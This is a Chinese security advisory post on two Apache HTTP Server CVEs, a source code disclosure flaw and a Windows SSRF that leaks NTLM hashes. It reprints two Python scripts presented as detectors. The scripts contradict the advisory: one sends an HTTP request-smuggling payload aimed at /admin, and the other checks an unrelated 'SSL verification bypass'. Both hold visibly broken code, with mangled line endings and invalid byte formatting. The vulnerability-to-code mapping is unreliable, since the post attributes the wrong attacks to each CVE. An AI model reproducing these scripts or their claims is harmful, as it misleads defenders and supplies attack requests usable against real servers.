0x00 前言
Apache HTTP Server(简称Apache),是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其具有的跨平台性和安全性,被广泛使用,是最流行的Web服务器端软件之一。
Apache HTTP Server的特点是简单、速度快、性能稳定、安全可靠,可通过简单的API进行扩展,并且集成了Perl、Python等语言解释器。
0x01 漏洞描述
ap_set_content_type_ex 函数用于设置请求的 content-type。
受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。
0x02 CVE编号
CVE-2024-40898:Apache HTTP Server on Windows SSRF漏洞
若在服务器或虚拟主机环境中使用 mod_rewrite 模块,存在服务器端请求伪造(SSRF)漏洞。该漏洞可能允许攻击者通过 SSRF 和恶意请求泄露 NTLM 哈希值到恶意服务器。
CVE-2024-40725:Apache HTTP Server 源代码泄露漏洞
ap_set_content_type_ex 函数用于设置请求的 content-type。
受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。
0x03 影响版本
http_server@[2.4.60, 2.4.62)
apache2@影响所有版本
0x04 漏洞详情
漏洞检查工具:
https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898
CVE-2024-40725.py
代码语言:javascript复制import requests
import argparse
def detect_http_request_smuggling(target_url):
"""
檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞
:param target_url: 目標伺服器的 URL
"""
# 構造 HTTP Request Smuggling 攻擊請求
smuggled_request = (
"POST / HTTP/1.1rn"
"Host: {}rn"
"Content-Length: 0rn"
"Transfer-Encoding: chunkedrn"
"rn"
"0rnrn"
"GET /admin HTTP/1.1rn"
"Host: {}rn"
"User-Agent: smuggle-testrn"
"rn"
).format(target_url, target_url)
try:
# 發送請求到目標伺服器
response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)
# 判斷回應是否表示存在漏洞
if response.status_code == 200 and "admin" in response.text:
print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")
else:
print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")
except Exception as e:
print(f"檢測過程中出錯: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')
parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
args = parser.parse_args()
detect_http_request_smuggling(args.url)
CVE-2024-40898 .py
代码语言:javascript复制import ssl
import socket
import argparse
def detect_ssl_verification_bypass(target_host, target_port):
"""
檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞
:param target_host: 目標伺服器的主機名或 IP 地址
:param target_port: 目標伺服器的端口號
"""
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.verify_mode = ssl.CERT_OPTIONAL
try:
# 連接目標伺服器
with socket.create_connection((target_host, target_port)) as sock:
with context.wrap_socket(sock, server_hostname=target_host) as ssock:
ssock.sendall(b"HEAD / HTTP/1.1rnHost: {}rnrn".format(target_host.encode()))
response = ssock.recv(4096)
# 判斷回應是否表示存在漏洞
if b"200 OK" in response:
print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
else:
print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
except Exception as e:
print(f"檢測過程中出錯: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')
parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
args = parser.parse_args()
# 分割主機名和端口號
target_host, target_port = args.url.split(":")
detect_ssl_verification_bypass(target_host, int(target_port))
0x05 参考链接
https://httpd.apache.org/download.cgi
https://httpd.apache.org/security/vulnerabilities_24.html
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。